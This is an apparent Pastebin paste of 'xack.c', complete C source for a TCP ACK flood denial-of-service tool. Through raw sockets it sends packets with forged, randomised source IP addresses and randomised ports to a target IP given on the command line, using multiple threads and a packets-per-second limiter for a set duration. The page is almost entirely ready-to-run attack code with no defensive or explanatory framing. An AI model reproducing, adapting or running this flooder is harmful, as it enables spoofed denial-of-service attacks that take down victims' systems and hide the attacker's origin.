Advertisement
wtfbbq

xack.c

May 16th, 2015
1,473
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 5.16 KB | None | 0 0
  1. /*
  2.  * This is released under the GNU GPL License v3.0, and is allowed to be used for commercial products ;)
  3.  */
  4. #include <unistd.h>
  5. #include <time.h>
  6. #include <sys/types.h>
  7. #include <sys/socket.h>
  8. #include <sys/ioctl.h>
  9. #include <string.h>
  10. #include <stdlib.h>
  11. #include <stdio.h>
  12. #include <pthread.h>
  13. #include <netinet/tcp.h>
  14. #include <netinet/ip.h>
  15. #include <netinet/in.h>
  16. #include <netinet/if_ether.h>
  17. #include <netdb.h>
  18. #include <net/if.h>
  19. #include <arpa/inet.h>
  20.  
  21. #define MAX_PACKET_SIZE 65534
  22. #define PHI 0x9e3779b9
  23.  
  24. static unsigned long int Q[4096], c = 362436;
  25. volatile int limiter;
  26. volatile unsigned int pps;
  27. volatile unsigned int sleeptime = 100;
  28.  
  29. void init_rand(unsigned long int x)
  30. {
  31.     int i;
  32.     Q[0] = x;
  33.     Q[1] = x + PHI;
  34.     Q[2] = x + PHI + PHI;
  35.     for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; }
  36. }
  37. unsigned long int rand_cmwc(void)
  38. {
  39.     unsigned long long int t, a = 18782LL;
  40.     static unsigned long int i = 4095;
  41.     unsigned long int x, r = 0xfffffffe;
  42.     i = (i + 1) & 4095;
  43.     t = a * Q[i] + c;
  44.     c = (t >> 32);
  45.     x = t + c;
  46.     if (x < c) {
  47.         x++;
  48.         c++;
  49.     }
  50.     return (Q[i] = r - x);
  51. }
  52. unsigned short csum (unsigned short *buf, int count)
  53. {
  54.     register unsigned long sum = 0;
  55.     while( count > 1 ) { sum += *buf++; count -= 2; }
  56.     if(count > 0) { sum += *(unsigned char *)buf; }
  57.     while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
  58.     return (unsigned short)(~sum);
  59. }
  60.  
  61. unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph) {
  62.  
  63.     struct tcp_pseudo
  64.     {
  65.         unsigned long src_addr;
  66.         unsigned long dst_addr;
  67.         unsigned char zero;
  68.         unsigned char proto;
  69.         unsigned short length;
  70.     } pseudohead;
  71.     unsigned short total_len = iph->tot_len;
  72.     pseudohead.src_addr=iph->saddr;
  73.     pseudohead.dst_addr=iph->daddr;
  74.     pseudohead.zero=0;
  75.     pseudohead.proto=IPPROTO_TCP;
  76.     pseudohead.length=htons(sizeof(struct tcphdr));
  77.     int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
  78.     unsigned short *tcp = malloc(totaltcp_len);
  79.     memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
  80.     memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
  81.     unsigned short output = csum(tcp,totaltcp_len);
  82.     free(tcp);
  83.     return output;
  84. }
  85.  
  86. void setup_ip_header(struct iphdr *iph)
  87. {
  88.     iph->ihl = 5;
  89.     iph->version = 4;
  90.     iph->tos = 0;
  91.     iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr);
  92.     iph->id = htonl(54321);
  93.     iph->frag_off = 0;
  94.     iph->ttl = MAXTTL;
  95.     iph->protocol = 6;
  96.     iph->check = 0;
  97.     iph->saddr = inet_addr("192.168.3.100");
  98. }
  99.  
  100. void setup_tcp_header(struct tcphdr *tcph)
  101. {
  102.     tcph->source = rand();
  103.     tcph->seq = rand();
  104.     tcph->ack_seq = rand();
  105.     tcph->res2 = 0;
  106.     tcph->doff = 5;
  107.     tcph->ack = 1;
  108.     tcph->window = rand();
  109.     tcph->check = 0;
  110.     tcph->urg_ptr = 0;
  111. }
  112.  
  113. void *flood(void *par1)
  114. {
  115.     char *td = (char *)par1;
  116.     char datagram[MAX_PACKET_SIZE];
  117.     struct iphdr *iph = (struct iphdr *)datagram;
  118.     struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
  119.    
  120.     struct sockaddr_in sin;
  121.     sin.sin_family = AF_INET;
  122.     sin.sin_port = rand();
  123.     sin.sin_addr.s_addr = inet_addr(td);
  124.  
  125.     int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
  126.     if(s < 0){
  127.         fprintf(stderr, "Could not open raw socket.\n");
  128.         exit(-1);
  129.     }
  130.     memset(datagram, 0, MAX_PACKET_SIZE);
  131.     setup_ip_header(iph);
  132.     setup_tcp_header(tcph);
  133.  
  134.     tcph->dest = rand();
  135.  
  136.     iph->daddr = sin.sin_addr.s_addr;
  137.     iph->check = csum ((unsigned short *) datagram, iph->tot_len);
  138.  
  139.     int tmp = 1;
  140.     const int *val = &tmp;
  141.     if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
  142.         fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
  143.         exit(-1);
  144.     }
  145.  
  146.     init_rand(time(NULL));
  147.     register unsigned int i;
  148.     i = 0;
  149.     while(1){
  150.         sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
  151.  
  152.         iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF);
  153.         iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
  154.         iph->check = csum ((unsigned short *) datagram, iph->tot_len);
  155.         tcph->seq = rand_cmwc() & 0xFFFF;
  156.         tcph->source = htons(rand_cmwc() & 0xFFFF);
  157.         tcph->check = 0;
  158.         tcph->check = tcpcsum(iph, tcph);
  159.        
  160.         pps++;
  161.         if(i >= limiter)
  162.         {
  163.             i = 0;
  164.             usleep(sleeptime);
  165.         }
  166.         i++;
  167.     }
  168. }
  169. int main(int argc, char *argv[ ])
  170. {
  171.     if(argc < 5){
  172.         fprintf(stderr, "Improper ACK flood parameters!\n");
  173.         fprintf(stdout, "Usage: %s <target IP> <number threads to use> <pps limiter, -1 for no limit> <time>\n", argv[0]);
  174.         exit(-1);
  175.     }
  176.  
  177.     fprintf(stdout, "Setting up Sockets...\n");
  178.  
  179.     int num_threads = atoi(argv[2]);
  180.     int maxpps = atoi(argv[3]);
  181.     limiter = 0;
  182.     pps = 0;
  183.     pthread_t thread[num_threads];
  184.    
  185.     int multiplier = 100;
  186.  
  187.     int i;
  188.     for(i = 0;i<num_threads;i++){
  189.         pthread_create( &thread[i], NULL, &flood, (void *)argv[1]);
  190.     }
  191.     fprintf(stdout, "Starting Flood...\n");
  192.     for(i = 0;i<(atoi(argv[4])*multiplier);i++)
  193.     {
  194.         usleep((1000/multiplier)*1000);
  195.         if((pps*multiplier) > maxpps)
  196.         {
  197.             if(1 > limiter)
  198.             {
  199.                 sleeptime+=100;
  200.             } else {
  201.                 limiter--;
  202.             }
  203.         } else {
  204.             limiter++;
  205.             if(sleeptime > 25)
  206.             {
  207.                 sleeptime-=25;
  208.             } else {
  209.                 sleeptime = 0;
  210.             }
  211.         }
  212.         pps = 0;
  213.     }
  214.  
  215.     return 0;
  216. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement